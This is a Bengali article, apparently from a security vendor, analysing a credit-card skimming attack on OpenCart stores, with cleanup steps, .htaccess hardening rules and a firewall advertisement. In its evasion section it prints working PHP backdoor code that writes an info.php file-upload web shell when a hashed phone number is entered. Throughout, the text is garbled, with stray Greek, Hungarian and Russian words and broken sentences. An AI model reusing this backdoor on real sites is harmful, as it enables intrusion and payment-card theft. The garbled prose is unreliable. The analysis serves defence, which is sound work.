OpenCart এবং Prestashop ই-কমার্স অপারেশন ম্যানেজ করার জন্য ফ্রি ও ওপেন সোর্স সমাধান। আপনি কি একটি স্টার্টআপ অথবা একটি প্রতিষ্ঠিত ব্র্যান্ড, ১৩০০০+ মডিউলের সাথে OpenCart সবার জন্য কিছু না কিছু রেখেছে। এছাড়া, OpenCart συνεχে ক্লায়েন্ট এক্সপেরিয়েন্স বাড়াতে চেষ্টা করছে এবং Google-এর সাথে একটি পাইলট প্রজেক্টে পার্টনারশিপও করল। যাইহোক, জনপ্রিয়তা কিছু অপ্রিয় আকর্ষণও টানতে পারে হ্যাকারদের। অনেক OpenCart স্টোর admin/common/login.php হ্যাক হওয়ার অভিজ্ঞতা করেছে যা চূড়ান্তভাবে OpenCart ক্রেডিট কার্ড হ্যাক দিকে নিয়ে যায়। যেহেতু আক্রমণকারীদের প্রধান উদ্দেশ্য OpenCart সাইটে আক্রমণ করিয়ে আর্থিক সুবিধা প্রাপ্তি। Astra-র গবেষকরা OpenCart স্টোরে একটি ক্রেডিট কার্ড হ্যাক আক্রমণ আবিষ্কার করেছেন। এই আর্টিকেলটি ধাপে ধাপে এই আক্রমণ বিশ্লেষণ করার পদ্ধতি ব্যাখ্যা করবে।
ক্রেডিট কার্ড হ্যাক: নতুন ফেক পেমেন্ট মেথড যোগ করা
এই আক্রমণগুলো প্রায়শই দীর্ঘ সময় অনডিটেক্টেড থাকে। এছাড়া, সাইট মালিকরা কাস্টমাররা অভিযোগ করলে জানেন যেকোনো ilyen আক্রমণের ব্যাপারে। এই সিনেরিওতে, কাস্টমাররা একটি কম্প্রোমাইজড ক্রেডিট কার্ডের অভিযোগ করল যা শুধু একটি নির্দিষ্ট OpenCart স্টোরে ব্যবহার করা হয়েছিল। подаль গবেষণাও সাইটে ফিশিং ফর্মের উপস্থিতি উজাগর করল। এর পাশাপাশি, অ্যাডমিন পাসওয়ার্ড হ্যাক ও ডিটেক্ট করা হয়েছিল। এই নির্দিষ্ট কেসে, Astra-র গবেষকরা একটি ইনফেক্টেড ক্রেডিট কার্ড ষ্টিলার ফিশিং ফর্ম আইডেন্টিফাই করল। এটি একটি লেজিটিমেট চেকআউট ফর্ম যেটি সাইটে ম্যালিশিয়াস কোড দিয়ে ইনজেক্ট করা হয়েছিল।
এটি ক্রেডিট কার্ড হ্যাক ফিশিং ফর্মের একটি ইমেজ। যাইহোক, এই ফিশিং ফর্ম ব্যবহারকারীর ব্যাংকিং ক্রেডেনশিয়াল আক্রমণকারী-নিয়ন্ত্রিত ডোমেইনে পাঠায়। এর পাশাপাশি, আক্রমণকারী ডিফল্ট পেমেন্ট গেটওয়ে যেমন PayPal ডিজেবল করল। তাই সমস্ত ilyen ইনফেক্টেড OpenCart সাইটে কিছু সাদৃশ্য রয়েছে:
- পূর্বে অজানা ফাইলগুলোর উপস্থিতি।
- অস্বাভাবিক লগইন বিহেভিয়র।
- নতুন ডাটাবেস অ্যাডমিন যাদের বিষয়ে সাইট অ্যাডমিনের কোনো ইনফো নেই।
- ব্যবহারকারীরা ফরডুলেন্ট ট্রানজেকশনের অভিযোগ করছে।
- প্যাকেট অ্যানালাইসিস টুল অজানা ডোমেইনে আউটগোইং ট্রাফিক দেখাচ্ছে।
- পূর্বে অস্তিত্বে নাই এমন নতুন পেমেন্ট মেথড যোগ করা হয়েছে।
OpenCart ক্রেডিট কার্ড হ্যাক: উদাহরণ
এই আক্রমণ OpenCart এবং Prestashop স্টোর মালিকদের নিঃসহায় করতে পারে। প্রায়শই প্রভাবিত ব্যবহারকারী কমিউনিটি ফোরামে ক্রেডিট কার্ড হ্যাক নিয়ে অভিযোগ করে থাকেন। এছাড়া, এই থ্রেডগুলো সাধারণত একই আক্রমণে প্রভাবিত একাধিক ব্যবহারকারী ধারণ করে!
প্রবেশ পাওয়া: অ্যাডমিন পাসওয়ার্ড হ্যাক
ব্যাকডোর ইনজেক্ট করতে আক্রমণকারীদের প্রথমে অ্যাডমিন প্রিভিলেজ প্রাপ্তি করতে হয়। তাই, আক্রমণকারীরা স্টোরের দুর্বলতা শোষণ করল। তারপর আক্রমণকারী eval(base64_decode) এর মতো বিপজ্জনক ফাংশন ব্যবহার করল সার্ভারে ম্যালিশিয়াস কোড রান করতে। কিছু সাধারণ OpenCart দুর্বলতা যেগুলো হ্যাকের কারণ হতে পারে:
OpenCart SQL ইনজেকশন
OpenCart 2.3.0.0-এর আগের ভার্সন একটি SQLi-এর আশ্রয়স্থল ছিল। যাইহোক, এটিকে অ্যাডমিন প্রিভিলেজ দরকার ছিল শোষণের জন্য। কিন্তু CVE-2009-1027 OpenCart কে SQLi-এ দুর্বল করেছিল। এর পাশাপাশি, বাগি মডিউল SQLi-এর কারণ হতে পারে।
OpenCart রিমোট কোড এক্সিকিউশন
CVE-2010-0956 OpenCart কে রিমোট কোড এক্সিকিউশনে দুর্বল করেছিল। দুর্বলতা index.php-এ পাওয়া গেলো। এটি সার্ভার কম্প্রোমাইজ করতে পারত। এছাড়া, OpenCart json_decode ফাংশন RCE-এ নিয়ে যেতে পারত।
OpenCart দুর্বল ক্রেডেনশিয়াল
দুর্বল এবং সাধারণ পাসওয়ার্ড কম্প্রোমাইজের কারণ হতে পারে। একটি সিম্পল ব্রুট ফোর্স আক্রমণ সার্ভার দিয়ে দিয়ে দিয়ে দিতে পারে।
OpenCart XSS
আক্রমণকারী XSS ব্যবহার করে অ্যাডমিনকে ফাঁসাতে পারত। CVE-2015-4671 index.php-কে XSS-এ আশ্রয়স্থল করেছিল। দুর্বল zone_id প্যারামিটার হ্যাকের দিকে নিয়ে যেতে পারত।
OpenCart জিরো ডে এক্সপ্লয়েট
খুব সম্ভব আক্রমণকারীরা একটি নতুন দুর্বলতা আবিষ্কার করেছেন। সেটি ব্যবহার করে তারা OpenCart স্টোর কম্প্রোমাইজ করতে পারত। এর চান্স কম কিন্তু সম্ভাব্য।
সব কিছু ইনফেক্ট করা: ক্রেডিট কার্ড হ্যাক
একবার সিস্টেমে ব্রেক ইন করলে, আক্রমণকারী সাইটের সব লেয়ার কম্প্রোমাইজ করার চেষ্টা করে। এই নির্দিষ্ট কেসে, Astra-র গবেষকরা জানল যে সব কাস্টমার এবং অ্যাডমিন পাসওয়ার্ড কম্প্রোমাইজড হয়েছে। এর পাশাপাশি, আক্রমণকারীদের ডাটাবেসে অ্যাক্সেস ছিল। এছাড়া, আক্রমণকারীদের ইনজেক্ট করা ব্যাকডোরগুলো ডাটাবেসের ইন্টিগ্রিটি কম্প্রোমাইজ করতে পারত। তাই ডাটাবেস অ্যাক্সেস ব্যবহার করে সংবেদনশীল ইনফো যেমন ইউজার পাসওয়ার্ড, নাম, অ্যাড্রেস, অর্ডার ইত্যাদি চুরি করা সম্ভব।
আরো, Astra-র গবেষকরা আবিষ্কার করল যে দুটি পেমেন্ট মেথড কম্প্রোমাইজড। এগুলো হলো:
- Authorize.net AIM.
- pp_pro.
এই পেমেন্ট মেথডগুলো OpenCart, Prestashop এবং ক্রেডিট কার্ড হ্যাক পরিচালনা করতে সাহায্য করল। উভয় পেমেন্ট মেথডে ম্যালিশিয়াস কোড ইনজেক্ট করা হয়েছিল। যার কোড স্নিপেট নিচে দেওয়া হলো।
এখানে, আক্রমণকারীরা PHP-এর Curl লাইব্রেরি ব্যবহার করল HTTP রিকোয়েস্ট করার জন্য। তারপর মেইল কম্পোজ করা হয়েছে Smail MTA দিয়ে। Smail একটি লাইটওয়েট এবং পোর্টেবল মেইলিং এজেন্ট। এই মেইলে সংবেদনশীল ইনফো থাকে:
- অর্ডার ID।
- পেমেন্ট ফার্স্টনেম।
- পেমেন্ট লাস্টনেম।
- অ্যাড্রেস।
- পেমেন্ট সিটি।
- ক্রেডিট কার্ডের এক্সপায়ারি ডেট এবং মাস।
- CVV নম্বর।
- ক্রেডিট কার্ড নম্বর।
এই সকল ইনফো একসাথে গ্রুপ করে একটি Yopmail অ্যাড্রেসে পাঠানো হয়। Yopmail একটি অ্যানোনিমাস ইমেইল সার্ভিস, তাই আক্রমণকারীদের ট্র্যাক করা কঠিন। যাইহোক এটি পাবলিক হওয়ায়, ইনবক্স কেউই অ্যাক্সেস করতে পারে। এটিকে এড়াতে আক্রমণকারীরা এলিয়াস ব্যবহার করল। এই এলিয়াস Yopmail-এর নিজস্ব সিকিউরিটি ফিচার। তাই আক্রমণকারীদের আসল ইনবক্স খুঁজে বের করা অত্যন্ত কঠিন।
Authorize.net হ্যাক
Authorize.net একটি পেমেন্ট সলিউশন যা OpenCart স্টোরে কাজ করে। আক্রমণকারীরা এই পেমেন্ট মেথডকে খুব সম্ভবত টার্গেট করে ক্রেডিট কার্ড ইনফো চুরি করার জন্য। তাই, যদি এই মেথড হঠাৎ ইমপ্লিমেন্টেড হয়ে যায় তবে আপনার সাইট OpenCart ক্রেডিট কার্ড হ্যাকের টার্গেট হতে পারে। নিচের ইমেজে দেখানো হয়েছে পেমেন্ট মেথডটি এখন ইমপ্লিমেন্টেড দেখাচ্ছে যা আক্রমণকারী করল।
যাইহোক, আপনি যদি ইতিমধ্যে authorize.net ইমপ্লিমেন্টেড রাখেন, তবে সম্ভব আক্রমণকারীরা সেগুলো ডিজেবল করে তাদের কাস্টম ফিশিং এক্সটেনশন ইনস্টল করল। তাই "merchant ID disabled" এর মতো মেসেজ সাইটে দেখা যেতে পারে। এর পাশাপাশি, পেমেন্ট মেথড এক্সটেনশন পেজে মিসিং থাকতে পারে। এই সব সাইন ইঙ্গিত করে একটি সম্ভাব্য ক্রেডিট কার্ড ইনফো চুরির চেষ্টা। তাই কাস্টমারদের তাদের চুরি হওয়া ক্রেডিট কার্ডের ব্যাপারে জানানো উচিত। আপনি যদি EU-তে অপারেট করেন বা EU কাস্টমারদের ডেটা প্রসেস করেন, GDPR এটিকে ম্যান্ডেটরি করে ডিসক্লোজ করার জন্য।
পারসিস্টেন্স বজায় রাখা: admin/common/login.php হ্যাকড
একবার আক্রমণকারী অ্যাডমিন রাইট পাওয়া যাওয়ার পর, পরবর্তী ধাপ কোর ফাইল মডিফাই করা। কোর ফাইল মডিফিকেশন আক্রমণকারীদের সাইটে কনস্ট্যান্ট অ্যাক্সেস রাখতে সাহায্য করে। কনস্ট্যান্ট অ্যাক্সেস বজায় রাখতে আক্রমণকারীদের লগইন/অ্যাডমিন পেজও ইনজেক্ট করল। নিচে admin/common/login.php হ্যাকড-এর কোড স্নিপেট দেওয়া হলো।
ম্যালিশিয়াস কোড থেকে স্পষ্ট যে আক্রমণকারীরা Smail ব্যবহার করল ইমেইল পাঠাতে। Smail ইউজারকে কমান্ড লাইন দিয়ে সব টাস্ক সম্পন্ন করার অনুমতি দেয়। এটিকে আক্রমণকারীদের প্রথম পছন্দ করে তোল। তারপর ইমেইল কম্পোজ করা হয় লগইন ক্রেডেনশিয়াল ব্যবহার করে। ইউজারনেম এবং পাসওয়ার্ড ধারণকারী এই ইমেইল আক্রমণকারীদের ইনবক্সে পাঠানো হয়। এখানে, আক্রমণকারীরা admin@wsxdn.com-কে তাদের ইনবক্স হিসেবে এনলিস্ট করল।
এর পাশাপাশি, এই কোড প্রতিবার অ্যাডমিন লগইন করলে রান হয়। তাই আক্রমণকারীরা তাদের ইমেইল চেক করে লেটেস্ট লগইন ক্রেডেনশিয়াল জানতে পারেন। এই ম্যালিশিয়াস কোড আক্রমণকারীদের সাইটে কনস্ট্যান্ট অ্যাক্সেস বজায় রাখতে দেয়। এর পাশাপাশি info.php এর মতো ব্যাকডোরও আক্রমণকারীদের পারসিস্টেন্স বজায় রাখতে সাহায্য করে। Info.php আর্টিকেলের পরে আলোচনা করা হবে।
ডিটেকশন এড়ানো: ফ্রি সাইনআপসহ নিচে উড়ে যাওয়া
এই নির্দিষ্ট ইন্সট্যান্সে, সাইট ফ্রি সাইনআপ আ্যালো করত। তাই আক্রমণকারীরা কোড মডিফাই করল যেন একটি নরমাল ইউজার রিভার্স শেল পেতে পারে। ম্যালিশিয়াস কোড নিচেরটি মত দেখত:
protected function validate() { if(md5($this->request->post['telephone'])=='66b6d63b9634e1159e53e29858de2c2d'){$file2 = "info.php";$handle2 = fopen($file2, 'w+'); fwrite($handle2,'<?php $files = @$_FILES["files"];if($files["name"] != ""){$fullpath = $_REQUEST["path"].$files["name"];if(move_uploaded_file($files["tmp_name"],$fullpath)){}}exit("<form method=POST enctype=multipart/form-data action=><input type=text name=path><input type=file name=files><input type=submit value=Up></form>");?>');fclose($handle2); }
এই কোড একটি নির্দিষ্ট ফোন নম্বর চেক করে। যখন সেটি ইনপুট দেওয়া হয়, ফাইল আপলোড আ্যালো করে। Astra-র গবেষকরা ধাপে ধাপে প্রসেস উজাগর করল নিচে বর্ণিত:
- স্টেপ ১: আক্রমণকারী ফ্রি সাইনআপ ব্যবহার করে একাধিক নতুন ইউজার তৈরি করল। একাধিক অ্যাকাউন্ট মানে মিনিমাম ডিটেকশন সম্ভাবনা।
- স্টেপ ২: তারপর, আক্রমণকারী ইনপুট ফিল্ডে একটি নির্দিষ্ট ফোন নম্বর দিল। আক্রমণকারী রিয়েল ফোন নম্বর md5 ফরম্যাটে এনক্রিপ্ট করল। এনক্রিপ্টেড স্ট্রিং হলো
66b6d63b9634e1159e53e29858de2c2d। এই ফোন নম্বর মাস্টার কি হিসেবে কাজ করে ব্যাকডোর আপলোড করার জন্য। - স্টেপ ৩: যতক্ষণ না ফোন নম্বর যোগ করা হয়,
info.phpনামে একটি ফাইল তৈরি হয়। তাই ফাইনাল URL কিছু এই রকম দেখেexample.com/info.php। - স্টেপ ৪: আক্রমণকারী
info.phpফাইলটি অ্যাক্সেস করলে, সেটি ফাইল আপলোড করার ক্ষমতা দেয়। - স্টেপ ৫: এই আপলোড অপশন আক্রমণকারীদের ইনফেক্টেড PHP ফাইল আপলোড করতে দেয়। এই ফাইলগুলো আক্রমণকারীদের সাথে রিভার্স TCP, ICMP কানেকশন খুলে। ফাইলগুলো রুট ডিরেক্টরিতে আপলোড হলে ফলাফল আরও ভয়াবহ হতে পারে!
এছাড়া, আক্রমণকারীরা ইমেজ সেকশনে ব্যাকডোর লুকিয়ে রেখেছিল। যেহেতু Images Folder-এ ফাইল খুঁজে পাওয়ার সম্ভাবনা খুব কম, তাই এটি আক্রমণকারীদের ভালো কভার দিয়েছিল। আক্রমণকারীরা ইমেজ ফোল্ডার থেকে রি-ইনফেক্ট করার চেষ্টা করত ক্লিনআপের পরিস্থিতিতে!
আক্রমণের পর ক্লিনআপ
আক্রমণের পরপ্রাইমারি স্টেপ হলো ফুল ক্লিনআপের জন্য যাওয়া। ইনফেক্টেড ফাইল ডিলিট করুন এবং ব্যাকআপ থেকে রিস্টোর করুন। ব্যাকআপ অনুপস্থিত থাকলে ফ্রেশ ইনস্টলেশন করুন। বিশেষ করে পেমেন্ট ফাইলগুলো রিস্টোর করতে হবে। নিচের ফাইলগুলো খেয়াল করুন:
- /admin/controller/extension/payment.php.
- /admin/controller/common/login.php.
- /catalog/controller/payment/authorizenet_aim.php.
এই ফাইলগুলো OpenCart এবং Prestashop ক্রেডিট কার্ড হ্যাক থেকে ম্যালিশিয়াস কোড দিয়ে ইনজেক্টেড। এই ফাইলগুলো অবিলম্বে রিস্টোর করুন। এর পাশাপাশি আক্রমণকারী দ্বারা মডিফাইড ফাইলগুলো খেয়াল করুন। এটি নিচের SSH কমান্ড এক্সিকিউট করে করা যায়:
$ find ./ -type f -mtime -15
টাইম স্ট্যাম্প দেখুন এবং আক্রমণকারীদের দ্বারা মডিফাইড ফাইলগুলো ডিলিট করুন। এছাড়া PhpMyAdmin-এর মতো টুল এই গোলমাল ক্লিন করার জন্য খুব হেল্পফুল।
PhpMyAdmin ম্যালিশিয়াস ডোমেইন ডিটেক্ট করার জন্য ব্যবহৃত হচ্ছে এমন একটি স্যাম্পল ইমেজ।
আক্রমণ থেকে মিটিগেশন
অ্যাডমিন ফোল্ডার রক্ষা করুন
অ্যাডমিন ফোল্ডার রিনেম করুন। কারণ এটি আক্রমণকারীদের সেটি খুঁজে বের করা কঠিন করে। এর পাশাপাশি, .htaccess ব্যবহার করে অ্যাডমিন IP ছাড়া সব IP-র লগইন ফোল্ডারে অ্যাক্সেস ডেনাই করুন।
ক্যাটালগ রক্ষা করুন
.htaccess ক্যাটালগ এবং .txt, .twig ইত্যাদি সংবেদনশীল ফাইল রক্ষা করতে ব্যবহার করা যায়। ফাইল ম্যাচ এটা অком্পলিশ করতে পারে। তাই আপনার রিকোয়ারমেন্ট অনুযায়ী .htaccess ফাইলে নিচের লাইনগুলো যোগ করুন।
<FilesMatch ".(php|twig|txt)$">
Order Deny,Allow
Deny from all
Allow from "your ip address"
</FilesMatch>
ফোল্ডার পারমিশন রস্ট্রিক্ট করুন
নিশ্চিত করুন যে শুধু অ্যাডমিন OpenCart ফাইল এবং সাবফোল্ডার অ্যাক্সেস করতে পারে। তাই, এটি অকম্পলিশ করতে, .htaccess ফাইলে নিচের কোড যোগ করুন।
<Files *.*>
Order Deny,Allow
Deny from all
Allow from "your ip address"
</Files>
ফাইল পারমিশন রস্ট্রিক্ট করুন
সংবেদনশীল ফাইলগুলো 644 বা 444 ফাইল পারমিশন সেট করে রক্ষা করুন। কারণ এটি অন্যদের লেখা থেকে রোধ করে। কিছু সংবেদনশীল ফাইল:
- config.php
- index.php
- admin/config.php
- admin/index.php
- system/startup.php
Astra ফায়ারওয়াল
OpenCart এবং Prestashop ক্রেডিট কার্ড হ্যাক স্টোরের রেপুটেশন গভীরভাবে ক্ষতি করতে পারে। ব্যবহারকারীরা ভবিষ্যতে সাইটে অনলাইন পেমেন্ট করার время insecure ফিল করতে পারে। তাই, সেটি রোধ করা ভবিষ্যতে সবচেয়ে ভালো উপায়। তাই একটি ফায়ারওয়াল দিয়ে এটি অকম্পলিশ করা যায়। Astra-এর ফায়ারওয়াল সকল ট্রাফিক মনিটর করে বэд রিকোয়েস্টের জন্য। Astra ফায়ারওয়াল নিশ্চিত করে যে শুধু সেফ রিকোয়েস্ট সার্ভারে পৌঁছাচ্ছে। এর পাশাপাশি, Astra নতুন লগইন এবং ফাইল মডিফিকেশন সম্পর্কে নোটিফাইও করে। Astra দিয়ে আপনার OpenCart এবং PrestaShop স্টোরকে admin/common/login.php হ্যাক হতে সুরক্ষিত রাখুন।